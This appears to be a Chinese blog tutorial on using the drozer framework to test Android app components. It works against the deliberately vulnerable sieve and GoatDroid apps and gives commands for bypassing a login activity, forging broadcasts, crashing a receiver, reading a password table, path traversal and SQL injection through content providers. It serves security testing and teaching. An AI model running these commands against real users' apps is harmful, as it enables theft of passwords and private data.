《移动安全》(6)使用drozer检测四大组件(下)
在drozer console中直接使用help查看;然后进一步使用help command可查看各命令更具体的使用方法。
通过输入安装包的部分关键字查找包全称 run app.package.list -f 安装包部分关键字
run app.package.list -f demo
使用app.package.info模块查看apk基本信息
run app.package.info -a com.example.demo
1.检测四大组件
四大组件
Activity(界面):通常展现为一个可视化的用户界面,是负责与用户交互的组件。常见的漏洞包括Activity劫持漏洞、越权漏洞等。
Service(服务):无用户界面,是运行于后台的服务,但是及其重要,经常在后台执行一些敏感的操作。常见的漏洞包括权限提升,拒绝服务攻击等。
Broadcase receiver(广播接收器):无用户界面,能够启动一个 activity 或 serice来响应它们收到的信息,或者用 NotificationManager 来通知用户。当应用广播接收器默认设置exported='true',导致应用可能接收到第三方恶意应用伪造的广播,利用这一漏洞,攻击者可以在用户手机通知栏上推送任意消息,通过配合其它漏洞盗取本地隐私文件和执行任意代码。
Content provider(内容提供者):为存储和获取数据提供统一的接口,可以在不同的应用程序之间共享数据。常见的漏洞包括读写权限漏洞、SQL注入漏洞、文件遍历漏洞等。
使用app.package.attacksurface模块识别攻击面
run app.package.attacksurface com.example.demo
所谓攻击面,应该就是指可export的安卓四大组件(activaty、broadcast receiver、content provider、service),如果查看到四大组件中有可export的,就去具体看可export的组件有没有问题。
(1)activity组件测试
查看activity组件信息
run app.activity.info -a com.example.demo
调用暴露的activity组件
run app.activity.start --component package_name Activity_name
一般activity组件只会暴露一个程序启动界面,在暴露其他的就属于组件暴露,有安全隐患。
run app.activity.start --component com.example.demo com.example.demo.MortgageActivity
Activity劫持
如果apk未对界面劫持进行反劫持检测,那么用户就会受到劫持欺骗攻击。如果一个恶意应用在用户启动银行app时,启动自身界面,模拟成银行的登录界面,那么在用户没有察觉的情况下,可以直接偷走用户输入的账号密码。
下面使用一个测试apk对目标应用进行界面覆盖,观察目标应用是否告警提示。
Activity越权
测试APP下载地址
https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk
这是一个管理密码的APP,运行时需要输入密码(com.mwr.example.sieve.MainLoginActivity),验证成功才能查看管理的密码内容(com.mwr.example.sieve.PWList)。
先查看对外暴露的 activity 组件信息
直接调用查看密码的Activity,成功绕过登录验证功能。
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
(2)broadcast组件测试
查看Broadcast组件信息
run app.broadcast.info -a org.owasp.goatdroid.fourgoats
测试APP下载地址:
https://github.com/nvisium-jack-mannino/OWASP-GoatDroid-Project/downloads
反编译,查看源码,发现需要两个参数 phoneNumber、message
发送恶意广播
run app.broadcast.send --action 广播名 --extra string name lisi
反编译apk,查看AndroidManifest.xml 文件,获取广播名
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1234 --extra string message dog
拒绝服务攻击
向广播组件发送不完整intent,使用空 extras,可以看到应用停止运行。
run app.broadcast.send --action <action>
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS
(3)content provider组件测试
查看content provider组件信息
run app.provider.info -a com.mwr.example.sieve
可以看出, 对DBContentProvider 内容提供器的访问,除了/Keys 路径需要权限,其他都不需要权限;而对 FileBackupProvider 内容提供器的访问则不需要任何权限,那么我们就可以从中获取敏感数据。
(4)service组件测试
查看service组件信息
run app.service.info -a com.mwr.example.sieve
调用服务组件
run app.service.start --action 服务名 --component 包名 服务名
run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService
2.检测URI数据泄露风险
获取内容提供器的 URIS 资源访问路径
run scanner.provider.finduris -a <包名>
run scanner.provider.finduris -a com.mwr.example.sieve
敏感数据读取
run app.provider.query uri
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords
3.检测文件遍历漏洞
检测文件遍历漏洞
run scanner.provider.traversal -a <包名>
读取系统文件
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
下载系统文件
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db f:/home/database.db
4.检测是否存在本地sql注入
扫描注入位置
run scanner.provider.injection -a <包名>
手工注入
执行以下命令,发现返回了报错信息,接着构造sql获取敏感数据
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection " * from Key;--+"
5.建议
当组件为私有组件时,建议设置android:exported的值为 false;当组件为公有组件时,建议对其进行权限控制。
《移动安全》(6)使用drozer检测四大组件(下)相关推荐
- 使用Drozer对Android四大组件进行测试
使用Drozer对Android四大组件进行测试 一.介绍 Drozer是一款安卓的安全测试框架,可以用来对安卓应用进行渗透测试,工作方式为交互式,有点类似于MSF,可以选择模块和payload对风险 ...
- 一个帖子学会Android开发四大组件
注:本文来自"友盟杯",仅在此阅读,学习 这个文章主要是讲Android开发的四大组件,本文主要分为 一.Activity详解 二.Service详解 三.Broadcast Re ...
- Android 安卓 四大组件
Android开发的四大组件 Android四大组件分别为activity.service.content provider.broadcast receive 一.Activity Act ...
- Android四大组件---Activity
1:前言 上一遍讲解了四大组件的广播----BroadcastReceiver,今天,我来解释一下四大组件最常用的activity. 2:概述 Activity 作为与用户交互的一个窗口,是使用非常频 ...
- Android开发四大组件
2019独角兽企业重金招聘Python工程师标准>>> 这个文章主要是讲Android开发的四大组件,本文主要分为 一.Activity详解 二.Service详解 三.Broadc ...
- Android开发的四大组件
Android 开发的四大组件分别是:活动(activity),用于表现功能:服务(service),后台运行服务,不提供界面呈现:广播接受者(Broadcast Receive),勇于接收广播:内容 ...
- 下面不是android四大组件之一的是,Android四大组件之一 Service
Service是长期在后台运行的没界面的Android四大组件之一,默认是运行在主线程中的,如果在service中执行耗时操作超过20秒没响应的话就会造成ANR,所以可以使用IntentService ...
- Android四大组件之Activity(第一篇-简单使用)
Android四大组件之Activity(第一篇-简单使用) 前言 一.Activity是什么? 二.如何使用 1.继承 2.重写onCreate() 总结 文章目录 前言 一.Activity是什么 ...
- Android 四大组件通信核心
前言 系列文章: Android Activity创建到View的显示过程 Android 四大组件通信核心 Android 系统启动到App 界面完全展示终于明白(图文版) 我们知道Android ...
最新文章
- 【微信小程序企业级开发教程】界面刷新获取新更新数据
- 名词解释说明用英语怎么说_“用英语怎么说”译成How to say in English,典型的中式英语!...
- mysql数据库的常用操作-索引
- 英语学习APP的案例分析
- extjs获取焦点和失去焦点_ios输入框(input,select,textarea)失去焦点,页面不归位...
- 《图说VR入门》——DeepoonVR的大鹏(陀螺仪)枪
- 使用gridlayout布局后,因某些原因又删除,并整理目录结构时,Unable to resolve target 'android-7'
- 理解工作流系统参考模型
- mysql周报内容范文_Mysql各种表格查询含实例,日报,周报,月报,时间差自动计算...
- k-means 聚类过程演示
- HDU 4432 Sum of divisors 2012 Asia Tianjin Regional Contest
- Oauth支持的5类 grant_type 及说明 authorization_code — 授权码模式(即先登录获取code,再获取token) password — 密码模式(将用户名,密码传
- IR2130与MOSFET驱动电路分析
- Mysql学习——建表语句详解
- 华为USG防火墙配置命令
- 团队作业 - 项目验收与总结博客
- SCI写作经典替换词、核心词汇大集合
- IPad amp; iPhone storage - delete my iPad manuscript data
- 15-python推导式
- 华为S系列交换机如何取消端口类型的设置
热门文章
- 四种企业传输大文件的方法
- 线性代数笔记分享(二)向量线性相关性
- linux 网卡 mac 配置文件,Linux下更改网卡的MAC物理地址
- vue-pdf实现预览pdf文件以及含有电子印章的pdf文件
- c# hdf5 写string_C#读取风云卫星(HDF5格式)遥感数据的部分代码
- JVM之类加载机制(基于《深入理解Java虚拟机》之第七章类加载机制)(上)
- android 检测软件键盘弹起落下
- 编程人生:我与编程结缘
- python实现简单的模拟发送短信验证码
- FAPI专题-7:5G FAPI接口 - 中文规范-3- P5消息格式